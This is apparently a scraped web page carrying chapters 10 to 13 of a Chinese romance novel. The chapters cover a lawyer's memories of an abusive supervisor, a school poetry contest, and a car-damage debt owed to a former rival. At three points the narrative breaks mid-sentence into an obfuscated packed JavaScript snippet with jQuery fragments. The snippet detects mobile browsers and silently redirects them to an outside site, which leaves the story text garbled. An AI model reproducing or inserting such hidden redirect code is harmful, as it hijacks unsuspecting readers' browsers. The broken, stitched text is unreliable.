“嗯。”
邓月菲本觉得匪夷所思,转念一想也合理:“他曾经是某个大学研究员,后来开了医药公司,大学时我们有位同学参与了他的项目,做多组学数据分析的。”
她戳戳迟影:“你还记得吗?叫乔新。”
听到这个名字,迟影轻怔了下,那种呼吸不畅的感觉有回升的趋势。她推开椅子,对众人笑笑:“我去趟洗手间,你们慢慢吃。”
10. 他和她的曾经
目送迟影离开,莫生立刻转头问:“那个赵总什么情况?怎么听起来事情不简单?”
邓月菲说起他也是气不打一处来。她拽几张纸巾擦了擦嘴:“我对他了解不多,因为当年我主要跟导师做学术研究,没参与过他的项目。”
“小影导师跟赵力有合作,就把她推荐给赵力,也算是半个实习吧,一边做数据分析的实践项目,一边将项目内容写成毕业论文,原本是一举两得的事。”
“结果去了才发现,这个赵力简直有病!”她越想越气,喝了口水继续输出,“跟她导师在一起时表现得温文尔雅,善解人意。结果私底下呢?压榨、辱骂、PUA,可以说样样精通,件件不落!”
“小影一开始跟我吐槽过几次,什么劈头盖脸地骂啊,什么人身攻击啊,什么通宵跑数据啊,我当时听着都冒火!有次我去接她正遇上赵力给她布置任务,就在旁边等了会儿,才发现实际情况比她描述得更恶劣。”
莫生听到这也眉头紧锁,怒火中烧:“不能不干吗?”
“利益纠葛太复杂了。”邓月菲叹口气,“我们不是没有想过应对方案,但迟影导师很佛系,不了解背后这些事情,而且他的很多项目都是赵力在支持,甚至科研经费也与项目成果挂钩。”
“再加上那会儿是大四寒假,开题答辩都过两个月了,跟老师沟通、改题目、重新答辩要耗费多少精力暂且不提,最关键的是换其他题目重新研究也来不及啊。”
“最主要的是,当时小影已经拿到A大的保研资格,不能有任何意外,如果延毕,那一切努力就都白费了。”
莫生也是经历过毕业论文折磨的人,自然明白其中的不容易。他气得连吃饭都没了胃口,深吸一口气道:“那怎么办?难道只能忍吗?”
“不然呢?”邓月菲用筷子狠狠戳牛排,就差把它碎尸万段,“而且那段时间小影家里也遇上点事,她情绪比较低落,也没精力抗衡,只能咬牙忍了。”
“好在赵力后来收敛了些,听说是因为她导师找赵力说了什么,具体情况小影没细说,我也不是很清楚,最终也算安稳毕业了。”
邓月菲托着下巴,一脸无奈道:“都过四五年了,没想到还能在这遇见他。”
气氛被这个话题带入冰点。
邓月菲也不想因为这事影响他们吃饭的心情,准备安慰下桌上默不作声的两人,忽然听到椅子向后推动的声响,侧头一看,莫秋面无表情地从座位上起身。
她刚才没注意男人的情况,现在定睛一看,对方下颌线紧绷,面色沉重,扫过来的视线冰冷锐利,让人不寒而栗。
邓月菲愣了下:“你……”
“我去趟洗手间。”
莫秋丢下这句话,没等两人反应,转身往洗手间方向走去。
“不是,男洗手间在对面……”邓月菲想提醒他,但男人已经几步迈过拐角,身影消失在墙后。
“真快啊……”邓月菲喃喃道。
洗手间里,迟影洗完脸,盯着镜子里苍白的脸色发愣。
原来伤疤不疼,不是因为愈合,而是因为一直藏在衣衫之下,未曾触碰罢了。
她又靠着洗手台缓了会儿,等心跳恢复平静,才勉强打起精神,拉开门往回走。
刚走过拐角处,身后传来低沉的嗓音:“为什么不反抗?”
迟影脚步一顿,难以置信地回头。
莫秋靠在墙边,单手插兜,双腿随意交叠,漆黑的双眸半抬,正定定看她。
“你……”迟影疑惑地瞅了瞅几米开外的标识牌,确认是女洗手间没错。
虽然有一定距离,但莫秋一米八几的个子站在这里,还是显得突兀。
她赶紧拽着男人袖子往一旁走几步。
一直走到无人的角落里,她才停了脚步。没想到一转头,鼻尖正对上男人衣服细致的纹理。
迟影168的身高不算矮,但鼻尖也就到他肩膀处。他肩膀宽阔有力,穿衬衣时撑起好看的线条,近在咫尺时有种逼人的压迫感。
迟影一时愣了神,淡淡的乌沉香顷刻间包裹住她,让她好不容易平复的心跳又泛起波澜,也不知道是因为症状复发,还是有其他原因。
她回过神来,赶紧撤开一步,将碎发别在耳后,才抬头看男人。
莫秋看到她碎发后露出的额头,轻蹙了下眉。
“疤是怎么回事?”他低声问。
女生额头右侧接近发际的地方,有道一厘米左右的疤痕,平常被碎发遮住并不明显,现在露出一道淡淡的粉痕。
迟影一怔,抬手放下几缕头发,轻声答:“意外。”
她整理好情绪,问莫秋:“你在等我?”
莫秋不知在想什么,顿了下才答:“嗯。”
“什么事?”迟影问。
莫秋静静看她,半晌才说话:“赵力的事,为什么不反抗?”
迟影皱了下眉,稍微一想便反应过来:“菲菲跟你们说了。”
“嗯。”
她对邓月菲说这事倒无所谓,但有些惊讶于莫秋眼下的态度——他出于什么原因,要过问一件与他毫不相关的事?
迟影抱着双臂:“为什么要反抗?”
莫秋狭长的眸子眯了下,视线跟迟影对上,眼底似乎有什么情绪翻涌而上,但转瞬即逝,只留下一片莫测的漆黑。
他沉默许久,目光锐利地看进她眼底:“你曾经不是这样。”
“……”
迟影愣住,心跳都停了半拍。
什么?
曾经?
她和他,哪里来的曾经?
如果不是他吐字清晰,语调沉稳,迟影甚至怀疑自己听错了。
然而真正让她心跳骤停的原因是,眼前这个原本应该对她一无所知的人,说对了。
赵力的突然出现让她原本缓和的焦虑症状重新显现。她本想压着不适坚持到饭局结束,现在却又因为莫秋的一句话而掀起波动。
他的这句话,在她听来像是嘲笑。
嘲笑她近些年的懦弱,逃避,和不堪。
苦涩顺着血管蔓延,她甚至没心情去细究莫秋原本的意图,在情绪的裹挟下不自然地笑笑,声音尽力保持平缓:“你很了解我?”
莫秋听出她声音里的冷意,紧攥着手,小臂上青筋隐现。然而狭长的眼眸只是闪了下,薄唇抿着,没有回答。
迟影见状也没追问,只自嘲地扯了下唇:“我没有反抗的底气,所以只能忍着。”
“我不知道我曾经在你眼里是什么样,但很抱歉,现在的我就是如你所见,这样。”她手指紧紧攥着手机,几乎要把屏幕捏碎,“莫神,不是每个人都能像你一样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059559|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一帆风顺,所愿皆得的。”
不远处的餐厅里人头攒动,热火朝天。而他们却静静伫立,沉默无言。
迟影咬咬唇,没再看莫秋:“回去吧,他们该等急了。”
邓月菲和莫生依旧聊得火热,话题已经转变到入职后的八卦趣事。见两人一起回来,邓月菲意味深长地抿唇一笑。
两人落座时,正碰上服务员托着盘子走来,微笑着对在座几人道:“这是我们的新品法式烤鲑鱼,目前还在测试阶段,各位要不要尝一尝?”
迟影刚拿起筷子的手一顿。
法式烤鲑鱼,是易时安最爱吃的菜。
那时J大附近有家物美价廉的西餐厅,每次易时安节假日从A大坐飞机来看她时,两人都会在那里饱餐一顿。而烤鲑鱼,几乎是两人的必点菜之一。
其实她对这道菜没什么特别的感受,但恋爱的滤镜就像调味料,总是能给普通的东西赋予超出本质的美好。
所以分手后,她再也没吃过。
邓月菲和莫生吃得太多,食物已经胀到嗓子眼,两人一边道谢一边摆摆手。
莫秋也摇摇头。
“好嘞。”服务员又把视线投向盯着盘子发愣的女生,“这位女士呢?要不要尝尝?很好吃的!”
迟影听到声音才回过神来,正准备婉拒,就听到对面男人低沉的声音:“不用了。”
她抬眼,男人正看着服务员,目光并未落在她身上。
服务员很热情,继续补充了句:“这是我们厨师长亲自做的,味道很不错,而且还免费,可以尝一口试试的!”
“谢谢。”莫秋面色平静,“但她对鲑鱼过敏。”
?
迟影微微一愣。
“啊这样……”服务员点点头,抱歉地笑笑,“不好意思啊。那你们吃好喝好,有什么需要随时叫我。”
等服务员离开,邓月菲惊讶地转过头来问:“你对鲑鱼过敏?”
迟影也不知道怎么回答,余光里莫秋正慢条斯理地剥螃蟹,似乎并不打算解释什么。
迟影心里有些发慌。
他好像真的,很了解她。
“对。”她只好点点头,随便扯了个理由,“会起红疹子。”
邓月菲立刻拿出手机,打开备忘录:“我竟然不知道!赶紧记下来!”
迟影被她夸张的动作逗得直笑,刚才阴霾的心情缓和不少。
她喝了口酸梅汁,拿起一旁的螃蟹准备剥个腿吃,眼前忽然出现男人骨节分明的手,和一碗蟹肉。
???
桌上三个人齐刷刷呆住,目光发直地看把碗推过来的男人。
莫生双眸瞪得溜圆,匪夷所思地看莫秋:“……哥?”
迟影更是震惊得连手里的蟹腿都掉了。
什么情况?
除了这肉里有毒,她想不出第二种可能!
“不会是……给我的吧?”她难以置信地指指碗。
莫秋摘下手套,优雅地擦了擦手:“嗯。”
三人僵硬得像雕塑般一动不动,桌上一片死寂,跟一旁因为过生日而热热闹闹的客人形成鲜明对比。
莫秋没有理会众人的呆滞,将一旁未拆封的湿纸巾放在迟影面前,才不紧不慢地说:“10月10日,学校举办计算生物学会议,来看看吗?”
11. 还真有一个
迟影一愣。
什么意思?
他这是在……邀请她?
可是为什么?会议主题听起来跟她没什么关系。
一旁的莫生先反应过来,倒是配合着点点头:“我听导师说了,还是顶级会议。”
迟影看向莫生,疑惑地抬抬眉。
“所以很多医药公司也会来,迟影姐或许可以拉上你的合伙人一起参加。应该是一个不错的,拉案源的机会。”
啊!
莫家兄弟的脑子真好使啊,医药确实是她老板李姜最近想扩展的领域。迟影的大眼睛立刻变得明亮而温柔,看向莫秋:“可以吗?”
莫秋:“邀请函周一发你。”
她明媚地笑笑:“谢谢。”
邓月菲出事那天,迟影没来得及注意莫秋的车。今天吃完饭出门时,她留了点心眼,记住车的品牌和大致样子。
她没有驾照,平常也不关心车,所以只能回家查它价格。
结果不论她怎么查,车的价格基本都在90万左右。
90万?不对吧?
也就是说即使车全坏了,按照20%的比例计算,她也只需要赔18万。
那30万是怎么算出来的?
莫秋不会诓她吧?
想到这迟影有些迷茫,坐在电脑前发愣。
这么来看,他今天给她剥蟹肉,甚至主动邀请她参加学术会议,有没有可能是因为他心虚?
可如果买得起90万的车,财富状况应该不算差,再加上他本身恐怖如斯的能力,应该不至于到诈骗的地步吧?
她疲惫地长叹口气。
找个时间问清楚吧。
……
迟影最近在赶一个申报项目。甲方无时无刻像赶驴上磨一般催促她们,导致她接连熬了几个大夜。
夜色已深,办公桌前众人依旧忙得不可开交。
一旁的林希已经有些神志不清:“咱们是今天递交申报吧?我没做梦吧……”
迟影眼睛盯着屏幕,腾出一只手来摸摸她的头:“是,这一定是最后一遍修改。”
话音未落,李姜从办公室快步走出来:“迟影,客户刚刚更新了一版,你们再看下,一小时内发出来。”
“……”
认了吧。不到最后一刻,永远不会有最后一版。
终于赶着截止时间递交上去,迟影已经趴在桌上动弹不得。林希却像是打了鸡血一样,拽着她开始撒娇。
“迟影姐~”
迟影头都不抬,冲她摆摆手。
“我今天不打扰你!明天!明天晚上咱们要不要去庆祝一下!”
“……我想睡觉。”
“我知道,所以我说明天晚上!好不好嘛~大家都很辛苦,是不是值得一个聚餐!”
实习生们听到这话眼睛瞬间亮起来,一众人蠢蠢欲动。
迟影觉得有道理,实习生拿着微薄的工资在这里没日没夜地干活,虽然罪魁祸首不是她,但作为主办律师确实应该感谢大家的支持。
于是她一边打开微信给程医生发消息,取消明天的心理咨询,一边笑着招呼大家:“好,那明天晚上,你们选地方。”
众人欢腾:“好耶!”
但迟影万万没想到,他们选择了这个地方——
Nonsense酒吧。
她神色复杂地站在门口,看着那五光十色的标识牌,尝试提议:“要不咱们换一个……”
林希一个勾肩拽着迟影就往里走:“我想来这好久了,就是太贵!这次好不容易有机会,机不可失,时不再来啊!”
“……”
迟影几乎是被拖进了门。
她第一次来这种酒吧,虽然做了些心理准备,但还是在进入的一瞬间感到震撼。
震耳欲聋的音乐仿佛一下子夺走所有感官,重金属的节拍击打着地面,带来一阵一阵的鼓浪声。五颜六色的灯光飞檐走壁,似乎在与人们的意识捉迷藏。
与外面仅一墙之隔,却是另一个世界。
待众人坐下后,迟影已经被这冲破耳膜的鼓点声震得神经弥散。她把菜单和酒水单递给林希,示意他们随便点,自己则窝在角落里放空。
实习生们经过一番热情激烈地讨论,终于声势浩荡地下单。
上来一个果盘。
迟影:?
林希趴在迟影耳朵边解释:“大家怕你破费,都不敢点贵的。果盘是最便宜的!”
“……”
谁说00后整顿职场的?这00后可太棒了!
迟影心头一暖,把服务生叫回来,点了几个招牌菜和无酒精饮品,也选了几个度数低的,告诉大家不勉强,有想尝尝的可以试试。
众人一片欢呼,就差把果盘摆她面前贡上。
迟影维持着职业微笑,客气地说着这是她应该做的。
胖子是充上了,她的脸也确实肿了三尺高,回去必须跟李姜争取下报销,哪怕报一部分都行!
酒足饭饱,又到真心话大冒险环节,迟影逃避不过也被拉着一起参与。
最近她运气相当一般,第一轮就栽得彻底,想着跟实习生们玩真心话容易把气氛搞僵,于是她一咬牙选了大冒险。
抽到的牌上写着:“由你左侧的人指定大冒险内容。”
迟影转头一看,左侧坐着林希。
“……”早知道选真心话了。
林希看到牌上的内容后眼睛唰得亮起来,摩拳擦掌,嘿嘿笑了两声:“没想到这么快!”
迟影:“?”
“我刚才去洗手间的路上看到一个帅哥!”她感叹道,“惊为天人那种!!”
迟影心中腾起一股不祥的预感。
林希坏笑道:“你去要那个帅哥的联系方式吧!”
“……”怕什么来什么。她想挣扎着问问对方能不能换个题目,就听林希补了句,“要不然换成跟他一起喝交杯酒?”
“我去要联系方式。”迟影腾得从位置上起身,掷地有声地答。
根据林希的描述,她很快锁定对方的位置。因为他们坐在高级vip的专属卡座内,视野极佳,半包裹的卡座设计又能很大程度上隔绝震耳欲聋的声音。
她绕过包裹区域,用十秒钟做了个深呼吸,才小心地往卡座里探头。
“抱歉打扰……”
刚说到扰字,她就没了音。
卡座里坐着三个人,她一眼认出林希说的那个惊为天人的帅哥。对方身着黑T,薄肌线条结实又有张力,正定定看着她,还懒散地挑了挑眉。
靠近她的另一位男人闻声回头,声音惊讶得拐了个弯:“迟影??”
看清屋内情况的那一瞬间,迟影甚至想过扭头就跑。然而现实如此残酷,三个人都已经认出了她。
她把目光从帅哥身上移开,看向那位叫她名字的“开朗”故人。
两个月前才见过,所以能一眼认出。
她勉强笑笑:“顾一书。”
“哎,是我!”顾一书一如之前那般大大咧咧,立刻从座位上起身,“我还以为自己做梦呢,真是你啊!”
“好久不见。”迟影点点头。
“迟影姐,你怎么在这里?”莫生也从一旁探出头来,“是特意来找我们吗?”
“不不不!”迟影连连否认。上次莫生在车里说过他们会来Nonsense,她可不想被当成蹲守尾随,否则莫秋为了他弟弟的安危,难保不把她拧成麻花!
“我就是偶然路过,来打个招呼。”她淡定地往后退,“你们吃,我先走……”
“别啊!”顾一书说话间已经起身,“来都来了,一起吃点,上次遇见都没来得及说话,这次怎么也得好好聊聊!”
迟影不知道自己是怎么坐下的,回过神来赶紧给林希发条消息:“联系方式要到了,遇上点意外情况,你们先吃。”
顾一书兴奋地给她递来未开封的饮品,还招呼着她再点一些。
“上次你走的太急,都没来得及细聊。咱们得九年没见了吧?”
迟影想起当时的场面,自己确实不太礼貌。
“是,毕业后就没再见过。”
“听说你现在是律师,而且涉猎合
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059560|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
规方向的业务。”顾一书在口袋里翻了下,拿出名片递给迟影,“我们公司正好有这方面需求。后面咱们沟通沟通?”
迟影接过名片,上面明晃晃几个大字:“极陆科技有限公司CTO,顾一书。”
迟影傻眼。
她的同学们都是这种水平吗?怎么有一种,只有她是NPC的错觉。
顾一书看出她的惊讶,连忙解释:“你误会了,我不是靠实力,我是靠爹。”
“……嗯?”
“公司是我爸的。”顾一书挠了挠头,“我毕业后继承了家产。只不过,我爸现在还不放心把公司交给我,所以才让我当CTO练练手。”
“太谦虚了。”迟影笑笑,“当年你课余时间还跟1班一起搞竞赛,最后以全校第三的成绩考上A大,可一点没靠家里。”
顾一书被夸得嘿嘿直乐:“那也得多亏莫神乐意带我!”
顺着他的话,迟影瞟了眼旁边的两人:“你们怎么在这里?”
毕竟如果莫生是万花丛中过的生活态度,那她得给邓月菲打好预防针。
“莫哥是我们公司的技术顾问,莫生是实习生。”顾一书不好意思地笑笑,“酒吧是我家开的,所以经常约他们来这吃饭。前几天也约过一次,他们遇到点紧急情况,就改成今天了。”
……所以当时他们说的酒吧老板就是顾一书?
而紧急情况,似乎就是她。
她为她先入为主的刻板印象道歉。
顾一书好奇地靠近了些:“我听莫秋说了立兴的事情,真是没想到,尚实青竟然能做到这种程度!”
迟影无奈地扯扯唇。
“我们那天回学校看老师,也是因为这事。”顾一书喝口酒接着说,“想想真是造孽啊。”
看老师?
迟影听到这一愣:“你们见齐老师了吗?”
“当然,我们先去看的她。”
怪不得没遇上,时间错开了。
顾一书提起这事兴奋不少:“齐老师还问莫哥有没有女朋友,结果莫哥让齐老师给他介绍!然后齐老师问他有没有什么要求,你猜这大哥说什么!”
他清了清嗓,立刻收起夸张的表情,压着声音,装出一副高冷深沉的样子。
“没特别的要求,能赢我就行。”
迟影:“……”
莫生:“……”
顾一书说完笑得人仰马翻,也不管一旁男人锐利得能把他千刀万剐的眼神,只一个劲吐槽:“先不说这是找女朋友还是找死对头,按这个标准,可能只有他写出来的AI能满足要求吧?”
“齐老师当时都无语了,还劝他说不能只搞事业,得有跟人正常交往的能力!”他笑得停不下来,人都要从座位上摔下去,“bking也有翻车的时候啊!”
迟影听到这也没绷住,低着头弯了弯唇。
顾一书笑完才意识到旁边男人的沉默,求生欲后知后觉地翻上来,又开始找补:“哎不过后来齐老师说,她还真想到一个符合要求的。”
莫生在一旁听得起劲,连忙问:“谁啊?”
“她没说。”顾一书抓起杯子一饮而尽,“反正我想不出来,这么多年我就没见莫哥输给谁……”
“我靠!!!”他说到一半忽然想起什么,大喊一声,把莫生吓一愣。
“一惊一乍干嘛呢!”
顾一书瞪着眼睛,半晌才回话:“还真有一个!”
他立刻转头看向莫秋,希望从对方脸上看出点蛛丝马迹,然而男人面色平静,似乎没什么反应。
“当年诗词大赛……”顾一书盯着他,一字一句往外蹦,“你是第二吧?”
这话一出口,许久没人接茬。
莫生先反应过来,惊讶地瞪大双眼,倏地看向身边之人:“哥?你还当过第二呢?”
莫秋倒是很淡定:“嗯。”
“我去!”莫生像看见活化石一样兴奋,又转头问顾一书,“那第一是谁啊?”
顾一书把目光从莫秋身上收回,意味深长地往后一靠,向旁边女生抬抬下巴:“喏,坐这呢。”
12. 诗词大赛
迟影原本吃瓜吃得正上头,听到顾一书那句“诗词大赛”,顿时头皮发麻,拿着个吃了一半的西瓜动都不敢动。
等三个人都看过来时,她更是如坐针毡。
但顾一书没说错,那是迟影与莫秋唯一一次正面交锋。
高二下学期时,市面上逐渐开始流行汉字听写大赛、诗词大会等知识竞技类综艺节目。当时学校老师们突发奇想,拉着全校同学举办过一次诗词大赛。
比赛的规则是,每个班分别派出5位同学作为参赛选手进行车轮战,一位选手输掉后换下一位,直到其中一个班的5位选手全部输掉,坚持到最后的班级获得胜利。
此外,每个班的最后一位选手上场前,必须先与其他班比试三轮,才能获得最终上场资格。据老师解释,这是为了避免有人因为运气好而坐收渔翁之利,所以要排除任何偶然因素给比赛带来的影响。
比赛形式多种多样,有知识问答,看图识句,诗词接龙等。主持人会根据各个班级的实力和看点相应出题。
不过为了公平起见,理科班和文科班分开竞赛。
迟影还依稀记得,顾一书听到比赛规则后抓耳挠腮的反应。
“完蛋完蛋完蛋!”他急得在班上团团转,“咱们是理科实验班,语文不能说一窍不通吧,也算是一塌糊涂!课本上的东西都学不明白,更别提诗词这种东西了!比个数学题我好得能上去写个解!”
“对啊。”一旁的同学也丧眉搭眼,“还得跟全校同学比。这要是太拉胯,估计会弄得人尽皆知……”
“然后齐老师又得罚我们背课文!”顾书一想到这个更是焦虑不安,仰天长啸,“老天爷啊,能不能对我们好点,我愿意用十张卷子换您一次垂怜!”
“……”迟影在一旁差点没听下去,这感天动地的祷告真是闻者扭头,见者避之。
“哎,不过也不用太难受。”旁边一位同学勉强打起精神,“就算咱班不行,也绝不会垫底。别忘了,隔壁竞赛班才是偏科偏到瘸条腿!”
“我靠!有道理!”顾一书听到这话瞬间满血复活,“对啊!咱们搞高考的还能比不过那群搞竞赛的?”
结果差点没比过。
谁也没想到,激烈的厮杀会在1班和2班之间展开。更没想到,2班靠着前四位选手一路过关斩将,却在1班的最后一位选手上栽了跟头。
莫秋宛如一尊佛般在台上屹立不倒。
大礼堂里一片寂静,2班的同学们个个面如死灰,焦虑难安。
实验班对每一门课程都十分看重,即使是语文也没少额外补课。竞赛班常年在外培训,一年到头也上不了几节语文课。
这要真输了,别说其他班同学嘲笑他们,他们自己都难以释怀。
大家都没想到1班派出的压轴选手是莫秋。更不能理解的是,怎么可能有人文理双全?
这不合理,也不现实。
可莫秋的存在就是既不合理,也不现实。
2班只能把所有希望都寄托在他们的最后一棒上。迟影也万万没有想到,自己成了扭转局面的关键。
即使之前对自己很有信心,看到莫秋的实力,她内心也多少有点动摇。
毕竟那是杀人不吐骨头的魔头。
天才最可怕的一点,就是你永远无法想象他实力的上限。
但没办法,她硬着头皮也得上,毕竟一千多双眼睛盯着,输人不能输气势。
顾一书还在一旁严肃地给她加油:“2班的尊严,全靠你了。”
“……”
迟影无语。要不是他的毒奶,怎么会沦落到这个局面?
莫秋被裁判请到舞台的一侧稍作休息。迟影上台时,正巧与他擦肩而过。
男生身形高挑,头发墨黑,穿着清爽的短袖校服也清冷卓绝,一双眉眼从容疏淡,仿佛对刺激的比赛以及周遭紧张的氛围毫不在意,只是碰巧路过,带着一丝事不关己的凉薄。
两人视线碰上,又若无其事地挪开。
迟影暗暗咬紧牙关。
好狂!
她被对方这波澜不惊的态度弄得有些火大,原本紧张的心情早已甩到九霄云外。
按照规则,她需要先和其他班的同学比试三轮,全胜后才能和莫秋对打。迟影站在台上,心态却无比沉稳,面对各种刁钻的题目应答如流,甚至没留意到对手已经换了一轮。
她脑海里只有一个念头。
必须要跟莫秋对上!
不论最终胜负,她的对手必须是他!
不到十五分钟,迟影便结束三轮厮杀,获得最终PK赛的资格。
大礼堂里人声鼎沸,以2班为代表的一群人兴奋不已,摩拳擦掌,等待总决赛的到来。
稍作休整后,迟影重新回到舞台,转头望去,男生正从另一侧缓步走来,步伐沉稳,不慌不忙,最终与她并肩而立。
总决赛的主持人换成了齐老师,她慷慨激昂地说完开场白,笑盈盈看向两人:“决赛马上开始,秉持着友谊第一,比赛第二的原则,两位同学要不要握个手?”
???
台下响起一片起哄声。迟影一愣,怎么还有这种莫名其妙的环节?
就在她走神的刹那,男生的手已经伸了过来。
他手指修长有力,骨节分明,白皙的手背下隐约可见淡青的脉络,配上线条分明的腕骨,极为漂亮。
迟影下意识抬眼,正撞进男生黑白分明的眸子里。这次他目光专注,先前那点懒散随意已然无踪。
见她迟迟未动,男生极轻地挑了下眉,压着声,用只有两人能听见的声音问:“迟同学,握个手?”
“啊……好。”迟影回过神,连忙伸出右手,指尖小心地探在他骨节处碰了下,便没敢再往前,“请多指教。”
男生却忽然收拢手指,往回稍稍带了下,温热感瞬间包裹她指尖,不到半秒又放开,那动作细微得连迟影都怀疑是否是错觉。
“请多指教。”他说。
总决赛的激烈程度远远超出迟影预料。
两人分立于答题面板前,凝神细听齐老师抛出的题目。
题目形式不断变化,范围也越来越广,从课本范围内的诗,到推荐性阅读材料中的词,再到古诗词资料集中的古文,最后扩展到不在任何教学资料中的冷僻内容。
两人旗鼓相当,势均力敌。
大礼堂如死水一般沉寂,所有人屏气凝神,密切关注着赛况,每一秒都显得格外漫长。
哪怕是在这样紧绷的比赛节奏中,迟影也忍不住暗自心惊。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059561|194996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>莫秋这人,当真强得不讲道理。
基础扎实,反应迅捷,联想力和记忆力都堪称顶尖,心态更是稳得惊人。
甚至面对答不上来的内容,他还能谋划布局,以退为进,丝毫不被她的进攻所左右。
迟影从未见过这样的对手。
简直恐怖!
思绪流转间,她不由自主侧目,瞥向正在答题板上疾书的男生。
嗯?
她没看错吧?
男生低垂着眼,纤长的睫毛敛去瞳底,高挺的鼻骨下,薄唇轻轻抿着,唇角却似乎……扬起一道细微的弧度。
上扬?
他这是,在笑?
而且那笑意浅淡却清晰,莫名有些晃眼!
迟影迅速收回视线,顿觉匪夷所思。
在紧张到让人快窒息的比赛里,他竟然在笑?!
怎么,对获得胜利势在必得?!
别太瞧不起人!!
一股无名火倏地窜起,迟影抿紧唇,笔尖更加用力,仿佛要穿透答题板,发出“啪”“啪”的轻响。
终于,齐老师换到下一首诗:“‘都缘顽福前生造,更有同归慰寂寥’的上一句以及诗名是什么?请在二十秒内作答。”
迟影思绪飞转,在倒计时结束前挥笔写下:“瓦砾明珠一例抛,何曾石尉重娇娆?”、“《五美吟绿珠》”。
大礼堂里静得鸦雀无声。
她酣畅淋漓地写完,条件反射似的看向莫秋。男生顿了下,那双总是平静无波的眼睛看向她,里面飞快地掠过一丝什么。
随即,他放下笔,摇了摇头。
她立刻回头望向大屏幕——
男生的答题板上,一片空白。
“wow!!”
台下瞬间爆发出雷鸣般的掌声。2班的同学们激动地抱成一团,欢呼声浪直冲而上,穿过礼堂撞入她耳膜:“赢了!!我们终于赢了啊啊啊啊啊!!!”
迟影长长舒了口气,紧绷的神经一松,后知后觉感到一阵虚脱。
她眼前恍惚了一瞬,扶着答题台才站稳。待缓过劲来后,她释然一笑,对着2班的同学们比了个“耶”!
几个同学已经按捺不住,径直冲上台来抱住她!
连齐老师都笑着走上前来,赞许道:“祝贺啊迟影!这个第一名你当之无愧,实至名归!”
她一边谦虚地回应着四面八方的祝贺,一边在沸腾的喧闹声中,下意识望向对面。
莫秋已经走下舞台。他背影清瘦挺拔,穿过人群,很快消失在礼堂侧门的光影里。
迟影心想,他大概是不太在意这种输赢的。
相比于他整日参加的国际大赛,这只是一个无关紧要的小比赛,很快就会被所有人遗忘。
一个青春的小插曲而已,弹不出什么大篇章。
……
“哎莫哥,你还记得这事吗?”顾一书越讲越兴奋,坏笑着看向莫秋,“虽然是小比赛,但输了就是输了啊,你可不能不认账!”
莫生也觉得新奇,语气带了点戏谑:“哥,你真输给迟影姐了啊?”
莫秋慢悠悠晃着红酒杯,嘴角极浅地勾了下,声音低沉慵懒,但咬字清晰。
“嗯。”
“输得很惨,我认。”
13. 兜兜转转还是他
迟影:“……”
其实生死存亡之际,万丈高楼之前,他提起绿珠时,她就知道他还记得当年的事。
只是在这种场合下,以这种方式被提起,反倒有种说不清道不明的意味。
迟影仰头喝了杯饮料,缓解心跳加速的燥热感。
顾一书没注意到她的异常,笑得花枝乱颤:“哎哟,见莫秋吃扁一次可太难了啊!今天没白来啊,都没白来!”
他立马转身叫来服务员:“今天哥心情好,你们随便点!哥全包了!”
莫生看了眼莫秋,若有所思地晃了晃杯中浓郁的红酒。
如同迷雾散开,晨光穿透夜幕,水色空蒙,五彩斑斓。
三杯饮料下肚,迟影见时间差不多,正准备起身告别,却见一个男生敲门进来,疾步走到顾一书身边汇报道:“顾哥,4s店那边来电话,说车修好了。让您随时去取。”
顾一书放下酒杯,翻了个白眼:“真够迅速的,修了两个多月?我还以为这车修不好了呢!”
“顾哥你车坏了吗?”莫生见状问。
“嗯。”顾一书一边回答,一边朝莫秋的方向指了指,“还不是这大哥,回国第一天就借我车,说有急事。好家伙!还回来的时候车被砸得都看不出模样了!”
迟影闻言一顿,抬头问顾一书:“什么时候的事?”
“五月中旬吧。我刚提的车,自己也就开了两次。托他的福,直接返场维修了。”
所以她砸的不是莫秋的车?而是顾一书的?
她认错债主了?
迟影立刻转头问莫秋:“你怎么不说清楚?”
对方懒散地抬眼,神情坦荡:“我又没撒谎。”
“你……”迟影仔细想想,她当时问的确实是“你开来的车被砸坏了”。
是没撒谎,但也没说实话啊!
顾一书听出来不对劲:“怎么?这事跟你有关?”
迟影不好意思地笑笑:“是我坠楼砸到你车上,才会……”
顾一书惊呆:“哈?”
迟影来不及解释更多,好不容易看到一线希望,径直问道:“那在理赔之外,还需要你自费多少钱?”
对方回过神来,答得干脆:“30万。”
“……”
好不容易燃起来的希望,刹那间支离破碎,土崩瓦解。
见迟影一副万念俱灰的模样,顾一书以为她在担心自己,赶紧解释道:“没事没事,莫秋已经赔给我了。这么说来,如果是你赔给我,咱俩估计能更早重逢呢!”
迟影:“……”
顾一书后面说了什么她完全听不见,只知道兜兜转转,债主还是莫秋。
